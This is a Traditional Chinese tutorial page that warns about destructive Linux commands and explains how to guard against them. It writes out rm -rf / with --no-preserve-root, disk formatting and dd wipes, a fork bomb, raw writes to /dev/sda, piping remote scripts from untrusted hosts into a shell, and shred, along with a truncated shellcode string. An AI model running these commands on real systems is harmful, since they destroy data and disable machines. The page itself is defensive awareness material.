萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Linux 教學

Linux 危險指令大全:rm -rf /、分叉炸彈、裸寫磁碟等毀滅性操作警示

Linux 終端機賦予極大權力,也意味著極高風險。以下指令**極度危險**,執行後幾乎無法復原,**嚴禁在生產/重要環境嘗試**,僅供知識性警示與防禦認知。

1. 遞迴刪除根目錄 — 系統抹除

rm -rf /
  • 刪除根目錄下所有檔案與目錄,包含系統核心、設定、使用者資料。
  • 現代發行版預設加入 --preserve-root 防護,需加 --no-preserve-root 強制執行,但**絕對不可嘗試**。

2. 十六進位殼層碼偽裝的 rm -rf /

char esp[] __attribute__((section(".text"))) = "\xeb\x3e\x5b\x31\xc0...";
  • 將 rm -rf / 編譯為機器碼嵌入 C 字串,偽裝成無害程式碼片段。
  • **本質相同**:執行後同樣抹除根目錄。任何無法閱讀的二進位/編碼指令皆應拒絕執行。

3. 格式化磁碟裝置 — 資料毀滅

mkfs.ext3 /dev/sda
mkfs.ext4 /dev/nvme0n1
  • 直接在區塊裝置建立檔案系統,抹除分割表與所有資料。
  • 同類:dd if=/dev/zero of=/dev/sda、wipefs -a /dev/sda。

4. 分叉炸彈 — 耗盡程序資源導致系統凍結

:(){ :|:& };:
  • 定義函數 :,內部呼叫自身兩次並置於背景 (&),指數級產生進程。
  • 佔滿 PID 表、記憶體、CPU,系統無法回應、無法開啟新終端機殺掉進程。
  • **防禦**:設定 ulimit -u 限制使用者最大進程數 (如 ulimit -u 1000),或在 /etc/security/limits.conf 設定 hard nproc。

5. 任意指令輸出重導向至區塊裝置 — 原始資料覆寫

any_command > /dev/sda
ls > /dev/sda
  • 將指令輸出 (或任意資料流) 直接寫入磁碟裝置,破壞檔案系統結構、分割表、開機載入器。
  • 執行後系統通常無法開機,資料需專業復原。

6. 下載並執行未驗證腳本 — 供應鏈攻擊入口

wget https://untrusted.source/script.sh -O- | sh
curl -sL https://example.com/install.sh | bash
  • 相當於 Windows 執行不明來源 .exe。
  • 腳本可能包含惡意碼、挖礦程式、反向 Shell、勒索軟體。
  • **鐵律**:下載 → 審閱原始碼 → 確認簽名/雜湊值 → 再執行。

7. 移動家目錄至 /dev/null — 個人資料黑洞

mv /home/youruser/* /dev/null
  • 將所有個人檔案移動至空裝置,資料永久消失。
  • 同類:rm -rf /home/youruser、shred -vfz -n 10 /home/youruser。

防禦與最佳實務

  1. 最小權限原則:日常操作使用一般使用者,sudo 僅在必要時提權。
  2. 別名保護:在 ~/.bashrc 設定 alias rm='rm -i'、alias mv='mv -i'、alias cp='cp -i' 強制互動確認。
  3. 資源限制:/etc/security/limits.conf 設定 nproc, nofile, as (位址空間) 防禦分叉炸彈與記憶體耗盡。
  4. 備份策略:3-2-1 原則 (3 份備份、2 種媒體、1 份異地),定期演練還原。
  5. 審計與監控:auditd 記錄關鍵指令執行,history 加上時間戳 (HISTTIMEFORMAT)。
  6. 容器/沙箱隔離:測試未知腳本請在 Docker 容器、VM 快照、寨箱環境中進行。

鐵律:不理解指令完整語義與影響範圍,**絕不執行**。任何來自網路、聊天室、論壇的指令碼,視為惡意處理,除非經完整代碼審查與驗證。

copyright © 萬盛學電腦網 all rights reserved